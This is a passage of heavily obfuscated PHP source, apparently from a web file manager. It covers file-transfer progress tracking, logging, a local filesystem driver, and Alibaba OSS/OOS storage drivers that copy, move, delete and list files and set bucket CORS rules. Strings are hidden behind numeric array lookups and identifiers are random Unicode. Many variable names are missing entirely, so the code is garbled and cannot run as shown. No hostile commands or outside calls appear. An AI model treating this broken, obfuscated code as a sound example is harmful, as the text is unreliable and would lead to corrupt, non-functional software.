=& $this->task; $[$Ʉ[1731]] = KodIO::transferType($뎀, $); $this->update(); } public function updateAfter() { $ᵿ =& $_SERVER[]; $ =& $this->task; if (!$[$ᵿ[762]]) { return; } if ($this->sourceModelCopyFlag) { return; } if ($[$ᵿ[1731]] == $ᵿ[1314]) { return; } self::updateTask($); } private static function updateTask(&$) { $ =& $_SERVER[]; if ($[$[1731]] == $[1196] || $[$[1731]] == $[107]) { if ($[$[1725]]) { $[$[1728]] = $[$[1727]] + $[$[1724]]; } } else { if ($[$[1731]] == $[1315]) { if ($[$[1725]] == $[1196]) { $[$[1728]] = $[$[1727]] + $[$[1724]] * 0.5; } else { if ($[$[1725]] == $[107]) { $[$[1728]] = $[$[1727]] + $[$[1723]] * 0.5 + $[$[1724]] * 0.5; } } } } $[$[1672]] = $[$[1728]] / $[$[762]]; if ($[$[1672]] > 0) { $ = timeFloat() - $[$[1674]] - $[$[1677]]; $[$[1678]] = $ * (1 - $[$[1672]]) / $[$[1672]]; } } public function addPath($) { $ =& $_SERVER[]; if (!$) { return; } $ =& $this->task; $Ļ = IO::infoWithChildren($); $Ӿ = $[$ [1732]] ? $[$ [1732]][$ [1733]] : 0; $[$ [1732]] = array($ [1733] => $Ӿ + 1, $ [420] => $Ļ[$ [32]], $ [84] => $Ļ[$ [84]], $ [509] => $Ļ[$ [509]] ? $Ļ[$ [509]] : $Ļ[$ [84]]); if ($Ļ[$ [33]] == $ [200]) { $[$ [785]] += 1; } else { $[$ [785]] += $Ļ[$ [79]][$ [77]]; if ($Ļ[$ [402]]) { $[$ [785]] += $Ļ[$ [79]][$ [78]] + 1; } } $[$ [762]] += $Ļ[$ [76]]; $this->update(); } public function sourceCopyFolderStart() { $this->sourceCopyFolder = !0; } public function sourceCopyFolderEnd() { $this->sourceCopyFolder = !1; } public function sourceAddHashStart($) { } public function sourceAddHashEnd($̃) { } public function sourceAddFileStart($) { $岮 =& $_SERVER[]; $ō =& $this->task; $ō[$岮[1723]] = $[$岮[76]]; $ō[$岮[1721]] = $[$岮[32]]; $ō[$岮[1066]] = $[$岮[32]]; $ō[$岮[1734]] = $[$岮[84]]; $this->update(); } public function sourceAddFileEnd($ټ) { $ =& $_SERVER[]; $ =& $this->task; $[$[1728]] += $ټ[$[76]]; $[$[1734]] = $ټ[$[84]]; $this->update(1); } public function copyFileStart($, $ۊ, $, $Ў, $, $Ħ) { $ =& $_SERVER[]; $í = $; if ($í == $GLOBALS[$[1735]]) { $í = $GLOBALS[$[1736]]; } $GLOBALS[$[1736]] = $; $GLOBALS[$[1735]] = $Ħ; $䬟 =& $this->task; $䬟[$[1721]] = $í; $䬟[$[1723]] = (int) $->size($ۊ); $䬟[$[1724]] = 0; $䬟[$[1066]] = $[12]; $䬟[$[1725]] = $[12]; $䬟[$[1726]] = 0; $ѵ = $䬟[$[1723]] > 1024 * 1024 * 10 ? !0 : !1; Cache::remove($䬟[$[399]] . $[1737]); if ($ѵ && file_exists(get_path_father($Ў))) { Cache::set($䬟[$[399]] . $[1737], $Ў); $䬟[$[1694]] = array($[1738], $[1739]); } $this->update(0, $ѵ); } public static function updateCopyLocalFileSize($) { $ =& $_SERVER[]; $٥ = Cache::get($[$[399]] . $[1737]); if (!$٥ || !file_exists($٥)) { return $; } $[$[1724]] = @filesize($٥); $[$[1728]] += $[$[1724]]; self::updateTask($); return $; } public function copyFileEnd($, $, $, $܊, $ܽ, $) { $ޥ =& $_SERVER[]; $ܭ =& $this->task; $ܭ[$ޥ[1724]] = $ܭ[$ޥ[1723]]; $ܭ[$ޥ[1725]] = $ޥ[12]; unset($ܭ[$ޥ[1694]]); if ($ܽ == $ܭ[$ޥ[1721]]) { $ܭ[$ޥ[1727]] += $ܭ[$ޥ[1723]]; $ܭ[$ޥ[1728]] = $ܭ[$ޥ[1727]]; $٬ = 1; if (isset($ܭ[$ޥ[1734]]) && $ܭ[$ޥ[1734]] == $) { $٬ = 0; } $this->update($٬); } else { $this->update(); $ܭ[$ޥ[1724]] = 0; } Cache::remove($ܭ[$ޥ[399]] . $ޥ[1737]); self::log($ޥ[1740] . $ . $ޥ[70] . $܊ . $ޥ[231] . $ܽ . $ޥ[1741] . $ܭ[$ޥ[1721]]); } public function updateFileEnd($, $) { $襺 =& $_SERVER[]; $ =& $this->task; $[$襺[1721]] = $; $[$襺[1723]] = $; $[$襺[1727]] += $; $[$襺[1728]] = $[$襺[1727]]; $this->update(1); self::log($襺[1742] . $); } public function sourceModelCopy($) { $ҩ =& $_SERVER[]; $ = $[0]; $ = $[1]; $ =& $this->task; $this->sourceModelCopyFlag = !0; $̞ = 0; switch ($) { case $ҩ[563]: $̞ = 1; break; case $ҩ[566]: $[$ҩ[1721]] = $[$ҩ[32]]; break; case $ҩ[568]: $̞ = intval($[$ҩ[380]] * 0.4); break; case $ҩ[570]: $̞ = intval($[$ҩ[380]] * 0.2); break; case $ҩ[572]: $̞ = intval($[$ҩ[380]] * 0.4); break; } $this->update($̞); $this->sourceModelCopyFlag = !1; } public function sourceRemove($Ө, $Ƴ冪) { $δ =& $_SERVER[]; $this->sourceModelCopyFlag = !0; $ٶ٪ = 1; if (isset($Ө[$δ[79]])) { $ٶ٪ = $Ө[$δ[79]][$δ[77]]; $ٶ٪ = $ٶ٪ + $Ө[$δ[79]][$δ[78]] + 1; } $this->update($ٶ٪); $this->sourceModelCopyFlag = !1; } public function sourceMove($ވ영) { $this->sourceRemove($ވ영, !1); } public function curlProgress($ܘ, $, $ޅ, $, $) { $ɰ =& $_SERVER[]; $捛 =& $this->task; if ($ > 0) { $捛[$ɰ[1066]] = $ɰ[1743]; $捛[$ɰ[1725]] = $ɰ[107]; if ($捛[$ɰ[1723]]) { $捛[$ɰ[1724]] = $; } if ($捛[$ɰ[1726]]) { $捛[$ɰ[1724]] = $ + $捛[$ɰ[1726]]; } } else { if ($ޅ > 0) { if ($捛[$ɰ[1723]] == $) { $捛[$ɰ[1724]] = $ޅ; $捛[$ɰ[1066]] = $ɰ[1744]; $捛[$ɰ[1725]] = $ɰ[1196]; } } } $this->update(); } public function curlProgressStart($ߘ) { } public function curlProgressEnd($) { $ȏ =& $_SERVER[]; $ݢ =& $this->task; $Ѯ = curl_getinfo($); $ = $Ѯ[$ȏ[1745]]; if ($ == -1) { $ = $Ѯ[$ȏ[1746]]; } if ($ݢ[$ȏ[1725]] == $ȏ[107] && $) { $ݢ[$ȏ[1726]] += $; } $this->update(); } } class TaskHttp extends Task { protected function startAfter() { $Ÿ =& $_SERVER[]; $홍 =& $this->task; $홍[$Ÿ[1747]] = 1; Hook::bind($Ÿ[1715], array($this, $Ÿ[1748])); Hook::bind($Ÿ[1717], array($this, $Ÿ[1749])); Hook::bind($Ÿ[1719], array($this, $Ÿ[1750])); } protected function endAfter() { $ =& $_SERVER[]; Hook::unbind($[1715], array($this, $[1748])); Hook::unbind($[1717], array($this, $[1749])); Hook::unbind($[1719], array($this, $[1750])); } public function progressStart($҈) { $ =& $_SERVER[]; $Љ = curl_getinfo($҈); self::log($[1751] . $Љ[$[307]]); self::valueSet($this->task[$[399]], $this->task); } public function progressEnd($) { $ =& $_SERVER[]; self::log($[1752] . $this->task[$[399]]); $this->end(); } public function progress($, $胭, $, $, $) { $Ք =& $_SERVER[]; $䅵 =& $this->task; if ($ > 0) { $䅵[$Ք[785]] = $䅵[$Ք[785]] == 0 ? $ : $䅵[$Ք[785]]; $䅵[$Ք[1671]] = $; } else { if ($ > 0) { $䅵[$Ք[785]] = $䅵[$Ք[785]] == 0 ? $胭 : $䅵[$Ք[785]]; $䅵[$Ք[1671]] = $; } } $this->update(); self::log("\x70\162\157\x67\162\145\x73\x73\x48\164\164\160\x3a\x64\157\167\x6e\x3a{$}\x2f{$胭}\73\x20\165\x70\x6c\157\141\144\x3a{$}\57{$}\x3b"); } } class TaskLog { private $task; private $taskID; private $isEnd = false; static function newTask($, $ = '', $ǁđ = 0, $꓾ = '') { $ϋ =& $_SERVER[]; $ = new Task($, $, $ǁđ, $꓾); $GLOBALS[$ϋ[1753] . $] = new TaskLog($ϋ[1654], $, $꓾); return $; } public function __construct($¡ = '', $ã = '', $ = '') { $ =& $_SERVER[]; if (!$¡) { $¡ = $[1654]; } $ = $¡ . $[386] . rand_string(10); if (!$) { $ = $¡ . $[53] . $; } switch ($¡) { case $[1654]: if (!$ã || !$ã->task) { return echoLog($¡ . $[1754]); } $ = $ã; $ = $->task[$[399]]; $¡ = $->task[$[399]]; if (!$->task[$[1570]]) { $->task[$[1570]] = $ ? $ : $¡; } break; case $[1755]: if (!$ã) { return echoLog($¡ . $[1756]); } $؇ = is_string($ã) ? array($ã) : $ã; $ = new TaskFileTransfer($, $¡, 0, $ ? $ : $؇[0]); foreach ($؇ as $ͼ) { $->addPath($ͼ); } break; case $[313]: if (!$ã) { return echoLog($¡ . $[1756]); } $؇ = is_string($ã) ? array($ã) : $ã; $ = new TaskZip($, $¡, 0, $ ? $ : $؇[0]); foreach ($؇ as $ͼ) { $->addPath($ͼ); } break; case $[1216]: if (!$ã) { return echoLog($¡ . $[1756]); } $ = new TaskUnZip($, $¡, 0, $ ? $ : $ã); if ($ã) { $->addFile($ã); } break; case $[148]: $ = new TaskHttp($, $¡); break; default: return; break; } $this->task = $; $this->taskID = $; Hook::bind($[1691], array($this, $[1757])); Hook::bind($[1693], array($this, $[1758])); Hook::bind($[1687], array($this, $[1759])); echoLog($[1760] . $->task[$[1570]]); } public function __destruct() { $this->end(); } public function end($ = '') { $ʺ =& $_SERVER[]; if ($this->isEnd) { return; } if (!$this->task || !$this->taskID) { return; } $this->isEnd = !0; $this->task->end($); $this->task = !1; $this->taskID = !1; Hook::unbind($ʺ[1691], array($this, $ʺ[1757])); Hook::unbind($ʺ[1693], array($this, $ʺ[1758])); Hook::unbind($ʺ[1687], array($this, $ʺ[1759])); } public function taskUpdate($) { $ =& $_SERVER[]; if (!$ || $this->taskID != $[$[399]]) { return; } $Ͳ = 20; $т = intval($[$[1672]] * $Ͳ); $ן = $[162] . str_repeat($[886], $т) . $[1016] . str_repeat($[53], $Ͳ - $т) . $[164]; $鹃 = $ן . sprintf($[1761], $[$[1672]] * 100) . $[1762]; $罚 = $鹃 . $[$[1671]] . $[8] . $[$[785]] . LNG($[1763]); $ = $[12]; if ($[$[1747]]) { $罚 = $鹃 . size_format($[$[1671]]) . $[8] . size_format($[$[785]]); $ = size_format($[$[1673]]) . $[1764]; } if ($[$[1066]]) { $[$[1721]] = $[$[1066]] . $[53] . $[$[1721]]; } if ($[$[1721]]) { $˼ = $[12]; if ($[$[1723]]) { $˼ = $[50] . size_format($[$[1724]]) . $[8] . size_format($[$[1723]]); } $ .= $[$[1721]] . $˼; } if ($[$[762]] && !$[$[1723]]) { $ .= $[53] . size_format($[$[1728]]) . $[8] . size_format($[$[762]]); } echoLog($罚 . $[53] . $, !0); } public function taskEnd($) { $ =& $_SERVER[]; if (!$ || $this->taskID != $[$[399]]) { return; } $렆 = $ ? $[$[1671]] . $[8] . $[$[785]] . LNG($[1763]) . $[71] : $[12]; echoLog($[1765] . $[$[1570]] . ($[$[453]] ? $[71] . $[$[453]] : $[12]) . $[71] . $렆 . $[1766] . sprintf($[849], timeFloat() - $[$[1674]]) . $[1686]); $this->end(); } public function taskKill($ܴ) { $͡ =& $_SERVER[]; if (!$ܴ || $this->taskID != $ܴ[$͡[399]]) { return; } echoLog($͡[1767] . $ܴ[$͡[1570]]); } } goto f嫐ﶈ; E: class PathDriverLocal extends PathDriverBase { private $pathAuth; public function __construct() { parent::__construct(); $this->pathAuth = DEFAULT_PERRMISSIONS; } public function getPath($) { if (substr($, 0, 2) == $_SERVER[][1381]) { $ = BASIC_PATH . substr($, 2); } return $; } public function iconvApp($ߗ) { $ =& $_SERVER[]; global $config; return $this->iconvTo($ߗ, $config[$[1379]], $config[$[1378]]); } public function iconvSystem($) { $ =& $_SERVER[]; global $config; return $this->iconvTo($, $config[$[1378]], $config[$[1379]]); } public function getPathOuter($) { $ =& $_SERVER[]; $ = $this->iconvApp($this->pathBase); $ = $this->iconvApp($); if (substr($, 0, 2) == $[1381]) { $ = BASIC_PATH . substr($, 2); } if (substr($, 0, 2) == $[1381]) { $ = BASIC_PATH . substr($, 2); } $ = KodIO::clear($); $ = KodIO::clear($); $ = substr($, strlen($)); if (empty($this->pathDriver)) { return $; } return $this->pathDriver . $[8] . ltrim($, $[8]); } public function mkfile($ئ, $ = '', $魮 = REPEAT_RENAME) { $ئ = $this->iconvSystem($ئ); @touch($ئ); if ($) { file_put_contents($ئ, $); } @chmod($ئ, $this->pathAuth); return is_file($ئ) ? $this->getPathOuter($ئ) : !1; } public function mkdir($ߐ, $ = REPEAT_SKIP) { $ߐ = $this->iconvSystem($ߐ); if (is_dir($ߐ)) { return $this->getPathOuter($ߐ); } @mkdir($ߐ, $this->pathAuth, !0); @chmod($ߐ, $this->pathAuth); return is_dir($ߐ) ? $this->getPathOuter($ߐ) : !1; } public function copyFile($ح, $ڪ) { $this->mkdir($this->pathFather($ڪ)); $ح = $this->iconvSystem($ح); $ڪ = $this->iconvSystem($ڪ); $ˠ = copy_64($ح, $ڪ); @chmod($ڪ, $this->pathAuth); return $ˠ ? $this->getPathOuter($ڪ) : !1; } public function moveFile($ʊ, $) { $this->mkdir($this->pathFather($)); $ʊ = $this->iconvSystem($ʊ); $ = $this->iconvSystem($); $ѩ = intval(@rename($ʊ, $)); if (!$ѩ) { if ($ѩ = intval(@copy_64($ʊ, $))) { @unlink($ʊ); } } @chmod($, $this->pathAuth); return $ѩ ? $this->getPathOuter($) : !1; } public function movePath($, $ן, $ޫ = false) { $Ӫۘ =& $_SERVER[]; $ = $this->iconvSystem($); $ן = $this->iconvSystem($ן); $À = rtrim($ן, $Ӫۘ[8]) . $Ӫۘ[8] . ($ޫ ? $ޫ : get_path_this($)); if (file_exists($À)) { return !1; } $ = intval(@rename($, $À)); $ = file_exists($À); return $ ? $this->getPathOuter($À) : !1; } public function delFile($) { $ = $this->iconvSystem($); if (!@unlink($)) { @chmod($, $this->pathAuth); if (!@unlink($)) { return !1; } } else { return !0; } } public function delFolder($拓) { $ӏ =& $_SERVER[]; $拓 = $this->iconvSystem($拓); if (!is_dir($拓)) { return !0; } if (!($߶ = opendir($拓))) { return !1; } while (($ = readdir($߶)) !== !1) { if ($ == $ӏ[10] || $ == $ӏ[1388]) { continue; } $Ϗ = $拓 . $ӏ[8] . $; if (is_file($Ϗ) || is_link($Ϗ)) { if (!unlink($Ϗ)) { chmod($Ϗ, $this->pathAuth); if (!unlink($Ϗ)) { return !1; } } } else { if (is_dir($Ϗ)) { chmod($Ϗ, $this->pathAuth); $Ϗ = $this->iconvApp($Ϗ); if (!$this->delFolder($Ϗ)) { return !1; } } } } closedir($߶); return rmdir($拓); } public function rename($շ̾, $ʈ) { $祷 =& $_SERVER[]; $㑧 = $this->fileNameAuto($this->pathFather($շ̾), $ʈ); $㑧 = $this->iconvSystem($㑧); $շ̾ = $this->iconvSystem($շ̾); $ֲց = $this->pathFather($շ̾); $ = rtrim($ֲց, $祷[8]) . $祷[8] . $㑧; $꽻 = @rename($շ̾, $); $ = $this->iconvApp($); return $꽻 ? $this->getPathOuter($) : !1; } public function size($ܝ) { $ܝ = $this->iconvSystem($ܝ); return filesize_64($ܝ); } public function info($ͪ) { $ͪ = $this->iconvSystem($ͪ); if ($this->isFolder($ͪ)) { return $this->folderInfo($ͪ); } else { if ($this->isFile($ͪ)) { return $this->fileInfo($ͪ); } } return !1; } protected function infoChildren($﹨, &$̎, $ᠦ = true) { $ߺ =& $_SERVER[]; check_abort_echo(); $﹨ = rtrim($﹨, $ߺ[8]) . $ߺ[8]; if ($ᠦ) { $﹨ = $this->iconvSystem($﹨); } if (!($۸ = @opendir($﹨))) { return; } while (($ = readdir($۸)) !== !1) { if ($ == $ߺ[10] || $ == $ߺ[1388]) { continue; } $ = $﹨ . $; if (is_file($) || is_link($)) { $̎[$ߺ[77]]++; $̎[$ߺ[76]] += filesize_64($); } else { if (is_dir($)) { $̎[$ߺ[78]]++; $this->infoChildren($, $̎, !1); } } } closedir($۸); } private function folderInfo($߀, $Ϳ = false) { $͂Х =& $_SERVER[]; $߀ = rtrim($߀, $͂Х[8]) . $͂Х[8]; $ = $this->iconvApp($this->pathThis($߀)); if ($Ϳ) { return array($͂Х[32] => $, $͂Х[84] => $this->getPathOuter($߀), $͂Х[33] => $͂Х[75]); } $Ѿ = array($͂Х[32] => $, $͂Х[84] => $this->getPathOuter($߀), $͂Х[33] => $͂Х[75], $͂Х[201] => @filectime($߀), $͂Х[85] => @filemtime($߀), $͂Х[1391] => @fileatime($߀), $͂Х[1392] => is_readable($߀), $͂Х[1393] => is_writable($߀), $͂Х[1394] => get_mode($߀)); return $Ѿ; } private function fileInfo($竡, $ᨙ̕ = false) { $텶 =& $_SERVER[]; $鄅 = $this->iconvApp($this->pathThis($竡)); if ($ᨙ̕) { return array($텶[32] => $鄅, $텶[84] => $this->getPathOuter($竡), $텶[33] => $텶[200], $텶[76] => $this->size($竡), $텶[174] => $this->ext($鄅)); } $߁ = array($텶[32] => $鄅, $텶[84] => $this->getPathOuter($竡), $텶[33] => $텶[200], $텶[201] => @filectime($竡), $텶[85] => @filemtime($竡), $텶[1391] => @fileatime($竡), $텶[76] => $this->size($竡), $텶[174] => $this->ext($鄅), $텶[1392] => is_readable($竡), $텶[1393] => is_writable($竡), $텶[1394] => get_mode($竡)); return $߁; } public function exist($) { $ = $this->iconvSystem($); return @file_exists($); } public function isFile($) { $ = $this->iconvSystem($); return @is_file($); } public function isFolder($) { $ = $this->iconvSystem($); return @is_dir($); } public function listPath($ꨴ, $ = false) { $̛ =& $_SERVER[]; $ꨴ = $this->iconvSystem($ꨴ); $ꨴ = rtrim($ꨴ, $̛[8]) . $̛[8]; $ = array($̛[82] => array(), $̛[83] => array()); if (!($ьҠ = @opendir($ꨴ))) { return $; } while (($ = readdir($ьҠ)) !== !1) { if ($ == $̛[10] || $ == $̛[1388]) { continue; } $㔟 = $ꨴ . $; if (is_file($㔟)) { $[$̛[83]][] = $this->fileInfo($㔟, $); } else { $[$̛[82]][] = $this->folderInfo($㔟, $); } } closedir($ьҠ); return $; } public function listAll($樆ȉ, &$ = array()) { $ր =& $_SERVER[]; $樆ȉ = $this->iconvSystem($樆ȉ); $樆ȉ = rtrim($樆ȉ, $ր[8]) . $ր[8]; if (!($Ǟ = @opendir($樆ȉ))) { return $; } while (($ = readdir($Ǟ)) !== !1) { if ($ == $ր[10] || $ == $ր[1388]) { continue; } $ٻ = $樆ȉ . $; $꽉 = is_dir($ٻ) && !is_link($ٻ) ? 1 : 0; $ٻ = $꽉 ? $ٻ . $ր[8] : $ٻ; $[] = array($ր[84] => $ٻ, $ր[75] => $꽉, $ր[85] => intval(@filemtime($ٻ)), $ր[76] => $꽉 ? 0 : intval($this->size($ٻ))); if ($꽉) { $this->listAll($ٻ, $); } } closedir($Ǟ); return $; } public function has($Ԥ, $Ѱ = false, $Ӝ = true) { $ݑ =& $_SERVER[]; $Ԥ = $this->iconvSystem($Ԥ); $Ԥ = rtrim($Ԥ, $ݑ[8]) . $ݑ[8]; if (!($ȧ = @opendir($Ԥ))) { return !1; } $ܾ = 0; $ = 0; $툎 = 0; while (($ = readdir($ȧ)) !== !1) { if ($ == $ݑ[10] || $ == $ݑ[1388]) { continue; } $茆 = $Ԥ . $; if ($Ѱ) { $툎++; if (@is_file($茆)) { $ܾ++; } else { $++; } if ($툎 > 10000) { break; } continue; } if ($Ӝ) { if (@is_file($茆)) { return !0; } } else { if (@is_dir($茆 . $ݑ[8])) { return !0; } } } closedir($ȧ); if ($Ѱ) { return array($ݑ[207] => $ܾ, $ݑ[208] => $); } return !1; } public function hashSimple($) { $ë =& $_SERVER[]; if (!$) { return md5($ë[12]); } $ = $this->iconvSystem($); $ʩ = $this->size($); $ي = 200; $Ç⛜ = 50; if ($ʩ <= $ي * $Ç⛜) { return $this->hashMd5($) . $ʩ; } $ = $ë[12]; $֓ = intval($ʩ / $Ç⛜); $Ч = fopen($, $ë[1395]); if (!$Ч) { return $; } for ($퇄 = 0; $퇄 < $Ç⛜; $퇄++) { fseek_64($Ч, $֓ * $퇄); $ .= fread($Ч, $ي); } fseek_64($Ч, $ʩ - $ي); $ .= fread($Ч, $ي); fclose($Ч); return md5($) . $ʩ; } public function getContent($Ѭ) { $Ѭ = $this->iconvSystem($Ѭ); return file_get_contents($Ѭ); } public function setContent($, $ = '') { $ = $this->iconvSystem($); $֕ = @file_put_contents($, $, LOCK_EX); clearstatcache(); @chmod($, $this->pathAuth); return $֕ === !1 ? !1 : !0; } public function fileSubstr($ߘյ, $ = 0, $ه = false) { $ =& $_SERVER[]; $ߘյ = $this->iconvSystem($ߘյ); if ($ه === !1) { $ه = $this->size($ߘյ); } if ($ه <= 0) { return $[12]; } $窨 = fopen($ߘյ, $[1395]); if (!$窨) { return !1; } fseek_64($窨, $); $ = fread($窨, $ه); fclose($窨); return $; } public function upload($ԍ, $۴, $ = false, $ʪ = REPEAT_REPLACE) { if ($) { return $this->moveFile($۴, $ԍ); } return $this->copyFile($۴, $ԍ); } public function setModifyTime($, $܊ = '') { @touch($, intval($܊)); } public function download($ۉ, $崷) { return $this->iconvSystem($ۉ); } } class PathDriverOOS extends PathDriverBaseS3 { public function __construct($ѕՀ) { parent::__construct($ѕՀ); $this->signatureVersion($_SERVER[][216]); } public function fileOutLink($͗) { $ =& $_SERVER[]; if (substr($͗, 0, 7) == $[1339]) { $͗ = $[1340] . substr($͗, 7); } header($[161] . $͗); die; } } class PathDriverOSS extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $bucket = ''; protected $bucketAcl = ''; protected $endpoint = null; protected $client = null; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\60"; public $cdnHost = ''; public $config = array(); public function __construct($) { parent::__construct(); include_once SDK_DIR . $_SERVER[][1396]; $this->_init($); } public function _init($틫) { $ =& $_SERVER[]; $this->config = $틫; foreach ($틫 as $Ǔ => $鶕) { if (isset($this->{$Ǔ})) { $this->{$Ǔ} = $鶕; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($[1397] . LNG($[1398])); } $this->client = new OSS\OssClient($this->accessKey, $this->secret, $this->domain); $this->client->setConnectTimeout(60); } public function setBucketCors() { $Ȣ =& $_SERVER[]; $ = new OSS\Model\CorsConfig(); $撃ݑ = new OSS\Model\CorsRule(); $撃ݑ->addAllowedOrigin($Ȣ[1399]); $撃ݑ->addAllowedMethod($Ȣ[1400]); $撃ݑ->addAllowedMethod($Ȣ[1401]); $撃ݑ->addAllowedMethod($Ȣ[1402]); $撃ݑ->addAllowedMethod($Ȣ[1403]); $撃ݑ->addAllowedMethod($Ȣ[160]); $撃ݑ->setMaxAgeSeconds(600); $撃ݑ->addExposeHeader($Ȣ[1404]); $撃ݑ->addAllowedHeader($Ȣ[1399]); $->addRule($撃ݑ); try { $this->client->putBucketCors($this->bucket, $); } catch (OSS\Core\OssException $Þ) { return !1; } return !0; } public function getBucketCors() { $ =& $_SERVER[]; $ = null; try { $ = $this->client->getBucketCors($this->bucket); } catch (OSS\Core\OssException $) { return null; } if (!$ || !($༨ = $->getRules())) { return null; } $· = $༨[0]->getAllowedOrigins(); $ˆ = $༨[0]->getAllowedMethods(); $ = $༨[0]->getMaxAgeSeconds(); $ν = $༨[0]->getExposeHeaders(); $凊ʷ = $༨[0]->getAllowedHeaders(); return array($[188] => isset($·[0]) ? $·[0] : $[12], $[192] => $ˆ, $[1405] => $, $[1406] => isset($ν[0]) ? $ν[0] : $[12], $[190] => isset($凊ʷ[0]) ? $凊ʷ[0] : $[12]); } public function isBucketCors() { $ =& $_SERVER[]; $գ = $this->getBucketCors(); if (!$գ || !is_array($գ)) { return !1; } if ($գ[$[188]] != $[189] || $գ[$[190]] != $[189]) { return !1; } $ۍ = array_map($[191], $գ[$[192]]); if (!is_array($ۍ)) { $ۍ = array(); } $΄ = array($[193], $[194], $[195], $[196], $[197]); $ = array_diff($΄, $ۍ); return empty($); } public function mkfile($Ɉ, $ = '', $⎱ޱ = REPEAT_RENAME) { $ = $this->setContent($Ɉ, $); if ($ !== !1) { return $this->getPathOuter($Ɉ); } return !1; } public function mkdir($ؔ, $ = REPEAT_SKIP) { if ($ && $this->_isFolder($ؔ)) { return $this->getPathOuter($ؔ); } try { $this->client->createObjectDir($this->bucket, $this->pathEncode($ؔ)); } catch (OSS\Core\OssException $) { return !1; } return $this->getPathOuter($ؔ); } private function fileList($ℎ, $ = '', $ʓᵻ = 0) { $Ʋ =& $_SERVER[]; $ℎ = trim($ℎ, $Ʋ[8]); $甫 = empty($ℎ) && $ℎ !== $Ʋ[198] ? $Ʋ[12] : $ℎ . $Ʋ[8]; $ = $Ʋ[12]; $ά = 1000; $̽ = $ޑ = array(); while (!0) { check_abort(); $ɐ = array($Ʋ[1407] => $, $Ʋ[1408] => $甫, $Ʋ[1409] => $ά, $Ʋ[1410] => $); try { $ = $this->client->listObjects($this->bucket, $ɐ); } catch (OSS\Core\OssException $ߺƅ) { break; } $ = $->getNextMarker(); $ǵɤ = $->getObjectList(); $א = $->getPrefixList(); foreach ($ǵɤ as $杠) { if ($杠->getKey() == $甫) { continue; } $ц = $杠->getKey(); $ = $杠->getSize(); $ڨ = $杠->getLastModified(); $ݦ = $ʓᵻ ? array($Ʋ[32] => $ц, $Ʋ[76] => $, $Ʋ[180] => strtotime($ڨ)) : $ц; $Њ = $ == 0 && substr($ц, strlen($ц) - 1, 1) == $Ʋ[8] ? !0 : !1; $̀ = array($Ʋ[76] => $, $Ʋ[1411] => $, $Ʋ[85] => strtotime($ڨ), $Ʋ[1412] => $ڨ); $this->cacheMethodInfoSet($ц, $Њ, $̀); if ($Њ) { $̽[] = $ц; continue; } $ޑ[] = $ݦ; } foreach ($א as $椑) { $̽[] = $椑->getPrefix(); $this->cacheMethodInfoSet($椑->getPrefix(), !0); } if ($ === $Ʋ[12]) { break; } } $this->cacheMethodInfoSet($ℎ, !0); return array($Ʋ[82] => $̽, $Ʋ[83] => $ޑ); } public function copyFile($ǀ, $ƻҞ) { $ = $this->size($ǀ); if ($ < 1024 * 1024 * 1024) { try { $this->client->copyObject($this->bucket, $ǀ, $this->bucket, $this->pathEncode($ƻҞ)); } catch (OSS\Core\OssException $) { return !1; } return $this->getPathOuter($ƻҞ); } $ͼ = $this->multiCopyObject($ǀ, $ƻҞ, $); return $ͼ ? $this->getPathOuter($ƻҞ) : !1; } private function multiCopyObject($ܬ, $, $) { $¡ =& $_SERVER[]; try { $ = array(); if ($ = $this->hashMd5($ܬ)) { $ = array(OSS\OssClient::OSS_HEADERS => array($¡[1413] => $)); } $ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($), $); $ = 1; $˹ѡ = 0; $ƚ = array(); $ = 1024 * 1024 * 10; $Ћ = $this->client->generateMultiuploadParts($, $); foreach ($Ћ as $ => $ԉƗ) { $݅ = $˹ѡ + (int) $ԉƗ[$¡[1414]]; $څ = (int) $ԉƗ[$¡[337]] + $݅ - 1; $נ = array($¡[1415] => $݅, $¡[1416] => $څ); $ƚ[] = $this->client->uploadPartCopy($this->bucket, $ܬ, $this->bucket, $this->pathEncode($), $, $, $נ); $ = $ + 1; } $ = array(); foreach ($ƚ as $ => $) { $[] = array($¡[1417] => $ + 1, $¡[1418] => $); } $this->client->completeMultipartUpload($this->bucket, $this->pathEncode($), $, $); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function moveFile($, $) { if ($this->copyFile($, $)) { $this->remove($); return $this->getPathOuter($); } return !1; } public function delFile($Ѧۓ) { try { $this->client->deleteObject($this->bucket, $this->pathEncode($Ѧۓ)); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function delFolder($) { $ =& $_SERVER[]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ɭ = $this->fileList($); $this->listItemCache = !0; $ = trim($, $[8]) . $[8]; if (!empty($) && $ !== $[198] && !in_array($, $ɭ[$[82]])) { $ɭ[$[82]][] = $; } $ϙ = $this->delByBatch($ɭ[$[83]]); if (!$ϙ) { return !1; } $ϙ = $this->delByBatch($ɭ[$[82]]); if (!$ϙ) { return !1; } return $this->delFile($); } private function delByBatch($) { foreach (array_chunk($, 1000) as $ʱȇ) { try { $this->client->deleteObjects($this->bucket, $ʱȇ); } catch (OSS\Core\OssException $) { return !1; } } return !0; } public function rename($, $҇) { return $this->renameObject($, $҇); } private function fileInfo($, $ף = false, $Рƍ = array()) { $ =& $_SERVER[]; $Ͱ = array($[32] => $this->pathThis($), $[84] => $this->getPathOuter($), $[33] => $[200], $[76] => isset($Рƍ[$[76]]) ? $Рƍ[$[76]] : 0, $[174] => $this->ext($)); if ($ף) { return $Ͱ; } $Ͱ[$[201]] = $Ͱ[$[85]] = 0; $Ͱ[$[202]] = $Ͱ[$[203]] = !0; if (empty($Рƍ)) { $Ⴑ = $this->objectMeta($); if (!$Ⴑ) { return $Ͱ; } $Рƍ = array($[85] => strtotime($Ⴑ[$[1412]]), $[76] => $Ⴑ[$[1411]] + 0); } if (isset($Рƍ[$[76]])) { $Ͱ[$[76]] = $Рƍ[$[76]]; } if (isset($Рƍ[$[85]])) { $Ͱ[$[85]] = $Рƍ[$[85]]; } if (isset($Рƍ[$[180]]) && !trim($Ͱ[$[85]])) { $Ͱ[$[85]] = $Рƍ[$[180]]; } return $Ͱ; } private function folderInfo($ϴ, $ = false, $ = array()) { $Ȝ =& $_SERVER[]; $ = array($Ȝ[32] => $this->pathThis($ϴ), $Ȝ[84] => $this->getPathOuter($Ȝ[8] . $ϴ), $Ȝ[33] => $Ȝ[75]); if ($) { return $; } 